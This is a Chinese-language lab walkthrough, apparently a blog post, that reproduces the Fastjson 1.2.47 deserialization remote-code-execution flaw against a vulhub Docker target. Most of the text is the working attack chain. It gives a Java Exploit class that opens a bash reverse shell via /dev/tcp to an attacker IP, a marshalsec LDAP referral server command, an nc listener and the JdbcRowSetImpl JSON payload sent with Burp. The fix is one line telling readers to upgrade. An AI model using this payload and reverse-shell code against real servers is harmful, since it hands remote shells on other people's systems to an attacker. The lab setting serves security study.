0x00:简介

  • Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。
  • Fastjson 1.2.48版本以下存在反序列化漏洞补丁绕过。

0x01:漏洞原理

http://www.lmxspace.com/2019/06/29/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/

0x02:搭建环境

靶机

这里使用vulhub的环境,只需要拉镜像即可

cd /vulhub/fastjson/1.2.47-rce

docker-compose up -d

此时访问靶机8090端口即可

http://192.168.150.148:8090/

攻击机

kali自带openjdk 所以需要删除自带的jdk 下载jdk1.8.0_212

下载jdk-8u212-linux-x64.tar.gz

# 查看安装的OpenJDK包
dpkg --list | grep -i jdk
# 卸载OpenJDK相关包
apt-get purge openjdk-*
# 检查所有 OpenJDK包是否都已卸载完毕
dpkg --list | grep -i jdk

# 解压
tar -zxvf jdk-8u212-linux-x64.tar.gz
# 配置环境变量
修改/etc/profile文件
vim /etc/profile
在文末追加如下信息
export JAVA_HOME=/apache-maven-3.5.4/bin/jdk1.8.0_212
export JRE_HOME=${JAVA_HOME}/jre
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
export PATH=${JAVA_HOME}/bin:${PATH}
# 使java环境生效
source /etc/profile
# 查看是否安装成功
java -version

0x03:漏洞复现

1.验证是否存在漏洞

抓取数据包

修改数据包为POST,添加{"name":"pureqh","age":20}根据response判断,利用成功,存在该漏洞。

Exploit.java代码如下(反弹shell)

public class Exploit{
    public Exploit() {}


    static
    {
        try {
            String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
                    ? new String[]{"cmd.exe","/c", "calc.exe"}
                    : new String[]{"/bin/bash","-c", "/bin/bash -i >&; /dev/tcp/192.168.150.145/4444 0>&1"};
            Runtime.getRuntime().exec(cmds);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }


    public static void main(String[] args) {
        Exploit e = new Exploit();
    }
}

javac将Exploit.java编译为Exploit.class文件(注意:javac版本最好与目标服务器接近,否则目标服务器无法解析class文件,会报错)

Python开启 SimpleHTTPServer web服务,将exploit.class放在根目录

接着在自己的vps里开启rmi或者ldap服务

推荐使用marshalsec快速开启rmi或ldap服务

地址:https://github.com/mbechler/marshalsec

下载marshalsec,使用maven编译jar包
mvn clean package -DskipTests

marshalsec-0.0.3-SNAPSHOT-all.jar开启LDAP并转发至web服务器

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.150.145:8000/#Exploit 9999

本地服务器监听4444端口

nc -lvvp 4444

Burp发送exp

{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.150.145:9999/Exploit","autoCommit":true}}

服务器即可收到shell

RMI同理。把LDAP替换为RMI即可(这里rmi不能稳定复现)

0x04:修复

升级为更高的版本

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注